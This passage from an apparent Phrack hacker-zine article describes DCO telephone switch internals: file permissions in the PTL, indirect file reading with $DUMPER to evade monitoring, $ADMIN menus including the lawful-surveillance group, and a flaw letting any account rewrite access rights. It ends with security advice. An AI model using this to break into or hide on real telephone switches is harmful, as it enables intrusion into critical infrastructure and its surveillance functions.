Any octal value in this table indicates the groups with the permission that
it occupies under "-access" in the PTL. For instance, if a file had -access
10, 100000, 100001, the MAINT group would have read permission, the SCAT
group write permission, and the ADMIN and SCAT groups execute permission.
Most accounts have read access to the PTL, but only SCAT has default write
access to it. The PTL (and other files) may be modified in the $EDIT
utility. Alternately the PTL.TXT file could be downloaded using $XFER (the
file transfer command/program), modified, and re-uploaded.
Memory Reading-
An alternate way of reading/analyzing the information in various files such
as the PTL, though of slightly limited usefulness, lies in the use of
utilities such as $DUMPER to dump the contents of the file in question in a
base of one's selection or ASCII. Note that, unfortunately, it is
impossible to dump the contents of a file to which one does not already
have access, for the file would have to be read by the utility in order for
its contents to be output. Still, the indirect access of files in this
manner may prove useful in a few situations-for instance, if everything on
a particular terminal was heavily monitored (echoed to the SCC, perhaps?)
and the direct reading and/or editing of files an extremely revealing
factor. Then again, if one follows the procedures described throughout
these notes for concealing one's presence on the switch even rather heavy
monitoring ought not to be a major obstruction.
$DUMPER /NODIAL
DUM> FILE NAME (FILE=HELP) > /ROOT/PTL.TXT
DUM> BASE (BASE=HELP) >
DECIMAL OR 10 - WILL OUTPUT THE DATA AND ADDRESSES IN DECIMAL
OCTAL OR 8 - WILL OUTPUT THE DATA AND ADDRESSES IN OCTAL
HEXIDECIMAL OR 16 - WILL OUTPUT THE DATA AND ADDRESSES IN HEXIDECIMAL
IF YOU PRECEED THE RESPONSE WITH AN A, SUCH AS A10 OR AOCTAL,
THEN THE DATA WILL BE OUTPUT IN ASCII AND THE ADDRESS IN THE BASE
EXIT - WILL EXIT THIS TASK
DUM> BASE (BASE=HELP) > AHEX
DUM> TYPE (TYPE=HELP) >
HEADER - WILL OUTPUT THE FILE HEADER
DATA - WILL OUTPUT THE ACTUAL CONTENTS OF THE FILE
EXIT - WILL EXIT THIS TASK
DUM> TYPE (TYPE=HELP) > DATA
DUM> START ADDRESS (START=HELP) > 3000
DUM> STOP ADDRESS (STOP=HELP) > 9000
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
003000 - B E G I N P R O C E S S
003010 O R D E F I N I T I O N S
003020 - - - - - - - - - - - - - - - -
003030 - - - - - - - - \n ! \n !
003040 T h e f o l l o w i n g i s
003050 t h e l i s t o f v a l
003060 i d p r o c e s s o r i d s
003070 f o r t h i s r e l e a s
003080 e t o b e \n ! u s e
003090 d w i t h t h e - p r o c
0030a0 s w i t c h . E a c h p
0030b0 r o c e s s o r i d i s u
0030c0 s u a l l y a s s o c i a t e
0030d0 d w i t h \n ! a n u
0030e0 n i q u e S C M s o f t w a
0030f0 r e s e t . \n ! \n ! a
003100 c =
003110 a c i \n ! a l
003120 = a l i t \n !
003130 a m p
003140 = a m p m e s s a g e
003150 d a t a b a s e \n ! b
003160 x c =
003170 b x 2 5 \n ! c b c
003180 = \n !
003190 c p =
0031a0 c a l l p r o c e s s o r \n
Additional Information/Conclusion
---------------------------------
Other/Miscellaneous/General-
The DCO family product line is currently owned/supported by Genband, an IP
Multimedia System company based in Texas. Interestingly, the DCO-CS is also
the only major Class 5 switch on the PSTN for which VoIP conversion
hardware to operate in conjunction with the switching hardware has not been
widely manufactured, with the exception of a few media gateways. Its use in
the future is likely to diminish due to its aging status, although DCO
switches are to be found servicing many rural communities. Contrary to
popular belief, all installed DCOs have not been replaced by the EWSD or
other, newer switches. It was estimated as of 2006 that approximately 14
million lines were installed on North American DCO and EWSD switches, and
that over 2,500 host and remote switches comprise the DCO install base in
North America.
An Additional Note: DCO-SE-
Another member of the DCO family worthy of mention is the DCO-SE, a line
switch capable of servicing up to 10,000 lines, as opposed to the DCO-CS,
which is capable of servicing only a very limited number of lines and is
primarily concerned with long distance (inter-LATA) related service. The
software of the DCO-SE is enhanced and although the MMI is extremely
similar, several alterations of note exist, due to its main function. In
fact, an entire albeit brief article could be devoted to the
differentiations between these two switches in the DCO family, but here for
reasons of succinctity only the more "interesting" aspects of the DCO-SE
will be mentioned, those most major alterations to the MMI and switch
utilities. First, the $ADMIN utility contains many different options, such
as the following:
DCO>
$ADMIN
ADM>HELP
ENTER THE GROUP TYPE TO BE ADMINISTERED.
SOME OF THESE GROUPS ARE ACCESS RESTRICTED
ERR - DISPLAY ERROR CODES FROM DBMS
ACCESS - ISDN BRI ACCESS
BG - BUSINESS GROUPS (CENTREX,MVP1,MVP2)
CARRIER - EQUAL ACCESS CARRIER CODE
CC - CUSTOM CALLING QUERIES
CEI - CUSTOMER EQUIPMENT INTERFACE
COMM - DATA COMMUNICATIONS
COS - CLASS OF SERVICE
CODRES - CODE RESTRICTION LIST
CV - CLASS VALUES (VOICE DATA PROTECTION)
DOP - DIAL OUT PLAN
E911T - EMERGENCY 911 TANDEM
ESS - EMERGENCY SWITCHING SERVICE, RLS-4000
FKMP - FEATURE KEY MANAGEMENT PROFILE
FN - FEATURE NAME
HG - HUNT GROUPS
IG303 - INTERFACE GROUPS 303
LAW - LAWFUL ACCESS
LCC - LINE CLASS CODES
Contrasted with a DCO-CS $ADMIN menu:
ERR - DISPLAY ERROR CODES FROM DBMS
AIN - ADVANCED INTELLIGENCE NETWORK
CEI - CUSTOMER EQUIPMENT INTERFACE
COS - CLASS OF SERVICE
CODRES - CODE RESTRICTION LIST
CV - CLASS VALUES (VOICE DATA PROTECTION)
FN - FEATURE NAME
HG - HUNT GROUPS
LCC - LINE CLASS CODES
LCN - LINE CLASS NAMES
LINE - EN/DN LINES
MACRO - MACRO DEFINITIONS
MBG - MAKE BUSY GROUPS
NRT - NETWORK DN TRANSPARENCY ROUTE TREATMENTS
OPTIONS - FEATURE OPTIONS
RING - DEFAULT RING CODES
SITE - SITE NAME
SS7 - SIGNALING SYSTEM NUMBER 7
$ADMIN, as one may recall from the HELP text, is described as the utility
used for "RECENT CHANGE/DATABASE ADMINISTRATION". Since the DCO-SE has
support for Centrex and may service up to 10,000 lines, administration
groups such as BG, CC, ESS, etc. have been added, and groups such as SS7,
AIN, MACRO, MBG, etc. do not exist as they do on the DCO-CS. Second, two
additional default account groups exist on the DCO-SE-LAW and NOVICE:
LAW-LAW is used for the lawful survellience/monitoring of lines authorized
under legislation such as CALEA. Within the $ADMIN utility, an option "LAW"
exists to this end as seen above:
ADM> GROUP (GROUP=HG) > LAW
It is illegal to access Lawful Access surveillance information
without the knowledge and expressed permission of the telephone
operating company controlling this telecommunications facility.
Further, it is illegal to establish any surveillance activity
without receipt of a court order issued by a federal, state or
local court having jurisdiction to permit telecommunications
surveillance activity. Violation of these warnings will subject
the perpetrator to all of the penalties and consequences
allowable under such controlling laws.
ADM> LATYPE (LATYPE=HELP) >
CDC - CDC
FSK - FSK MODEM
OPTIONS - OPTIONS
RECEIVER - RECEIVER
SURVEILLANCE - SURVEILLANCE
Invoking LAW will display a banner as seen above with the necessary legal
warnings of accessing surveillance information. This banner is seemingly
intended for observation by law enforcement, rather than other potential
unauthorized users of the switch. LAW has access rights to files/utilities
over which all groups have some degree of access.
NOVICE-Perhaps intended for use by technicians in training or employees
untrained in DCO operation as the name suggests, NOVICE only has access to
utilities and files to which all account groups have access, and its access
rights are always the lowest for a particular file or utility. For example,
on files such as EA24HD, EA30MD, and EA60MD to which all other account
groups have at least read and execute permissions, both NOVICE and LAW have
only execute permission.
One gaping vulnerability present in the DCO-SE (equipped with the most
recent software version, released in 2003) is that, unlike on the DCO-CS,
all account groups have read AND write permissions on the PTL! Any account
may thus directly write to the PTL, redefining access rights for files,
etc. On the DCO-CS, release OCC150, as stated previously, only SCAT has
write permission/access.
Utilities Diagram
Notes: Although every utility technically has some degree of influence on
the network, certain utilities serve strictly on-switch functions (and thus
exert an indirect influence over the PSTN) and others network functions
(and thus exert a more direct influence over the PSTN). There exists, of
course, no such utility as a "strictly off-switch program", but, as said,
there are varying degrees of network vs. switch influence. Naturally
utilities concerned with the operation of switch hardware (such as the
disk, processors, etc.) are classified as "intra-switch", whereas
SS7-related programs, line and trunk utilities, etc. are classified as
"extra-switch". This three-layered conception of DCO utilities is rather
useful in determining the nature of account groups and purposes. This
diagram is by no means intended to be inclusive of all or even most
utilities-rather, it encompasses a small sampling of the utilities that
best epitomize the three categories. Described differently, extra-switch
utilities are closest to the network and intra-switch utilities are
furthest from it.
+------------------------------------------+
Extra-Switch Utilities
$ABNUTL, $CODE, $HOTLIN,$INWANI, $INWATS,
$NITSWC, $RGU, $ROTL, $ROUTE, $RTOPT,
$RTR, $SCTST,$TRACE, $TSEP, etc.
+------------------------------------------+
Intra/Extra-Switch Utilities "Bridge"
$CONUTL, $CSADM, $EQCHEK, $FLXANI, $MANUAL,
$PABX, $PCOS, $RNSAMA, $RTEST, $SELNUM
$SERV, $SPCALL,$TFM, $TKTHRS, $TMAD,
$TTU, etc.
+------------------------------------------+
Intra-Switch Utilities
$ACTUTL, $AMOPT, $AMPUTL, $BUFDMP, $CBUG,
$CHKUTL, $DEBUG, $DMPUTL, $DUMPER, $EDIT,
$FILSYS, $FPBUG, $GBUG, $HSTUTL, $INSTAL,
$ISUUTL, $MEMCHK,$PASSWM, $PATCH, $REMOVE,
$SECTTY $STATE, $STATUS, $TIME, $UPACK,
$UPDATE, $VCHECK,$XFER, etc.
+------------------------------------------+
Recommendations for Security-
In light of the above information regarding the near-absolute absence of
preventative security measures inherent in the design of the DCO, it may
seem a comically futile undertaking to recommend measures to the end of
effective DCO-CS securement. Let it not be forgotten, though, that
throughout the spirited and relished elucidation of the flaws in access
security, a number of metaphorical "hurdles" or configurations proving
through some often diminutive manner slightly problematic for those whose
objective it is to access the switch are discussed. It follows logically,
then, that the exaggeration of those in discretional configuration to as
great a degree as is practically possible is desirable for the maximum
security that one may extract/derive from the limited faculties of the DCO
dedicated thereto. When discussing dialup security, alas, it seems best to
simply disallow dialup access to the switch in order to prevent any form of
remote unauthorized intrusion. Yet, as the author is keenly aware, this
effective albeit extreme configuration/measure is not always practical and
efficient to implement, in which case, one is advised to affix to the
dial-in line(s) dedicated to the purpose a callback security device, add an
additional layer of password security, etc.; while exploitable flaws
certainly exist in these shields, they at least may provide a sufficiently
strong barrier as to discourage all but the most determined of unauthorized
users. In all instances, regardless of the configuration of the dial-in
port/lines, one is obviously and finally advised to mandate the use of the
strongest passwords possible, and to review and monitor diligently the
logs, the trails generated by the actions of users. It is simply laughable
that systems exist, on the PSTN and elsewhere, which exhibit a tremendous
amount of security and yet so little significance in comparison to the
switches, the machines analogous in magnitude of purpose and nature to the
vertebrae of the giant network that, despite recent efforts to migrate
rapidly from it, continues to connect and maintain a continuous stream of
interconnected communications that links the U.S. and the greater segment
of the globe to this day.
Acronym Glossary-
DCO-CS-Digital Central Office Carrier Switch
PSTN-Public Switched Telephone Network
LEC-Local Exchange Carrier
EWSD-Elektronisches Wahlsystem Digital/Electronic World Switch Digital
CLEC-Competitive Local Exchange Carrier
MMI-Man-Machine Interface
DCO-SE-Digital Central Office Small Exchange
RLS-Remote Line Switch
5ESS-#5 Electronic Switching System
TMRS-Traffic Measurement and Recording System
SCAT-Stromberg-Carlson Assistance Team
(IN)WATS-(Inward) Wide Area Telephone Service
ETAS-Emergency Technical Assistance
NAC-Network Access Control
ESP(F)-Essential Services Protection (Feature?)
MP-Maintenance Processor
SCC-Switching Control Center
PTL-Prioritized Task List
VoIP-Voice over Internet Protocol
LATA-Local Access and Transport Area
CALEA-Communications Assistance for Law Enforcement Act
SS7-Signalling System #7
Acknowledgements/Shoutouts-
To ThoughtPhreaker, for his patient assistance in verifying the validity of
many of the general observations within these notes and his vulnerability
contributions, in addition to his extensive contributions to the DCO-SE
section, rev, Andrew, whitehorse, radio_phreak, bomberman2525 (if he still
wishes to be known by that handle), and the authors of the original DCO
articles, for their giddy, minimal diatribes did provide a foundation,
however full of gaps, for me to expound upon. As usual, acknowledgements
are given to anyone not explicitly mentioned who has assisted me in my
quest for H/P knowledge and to anyone who agrees with my concept of the
H/P subculture and sympathizes with my efforts to improve it. Feel free to
contact me at my email address: [email protected] with any
inquiries or comments (factual corrections welcome) regarding this article.
NYC_NY_2600_DCO 09-06-16 00:26:00 LOGOFF TT01
MP .0354:TTY=TT1,USERNAME=THE_PHILOSOPHER LOGGED OFF
© Copyleft 1985-2024, Phrack Magazine.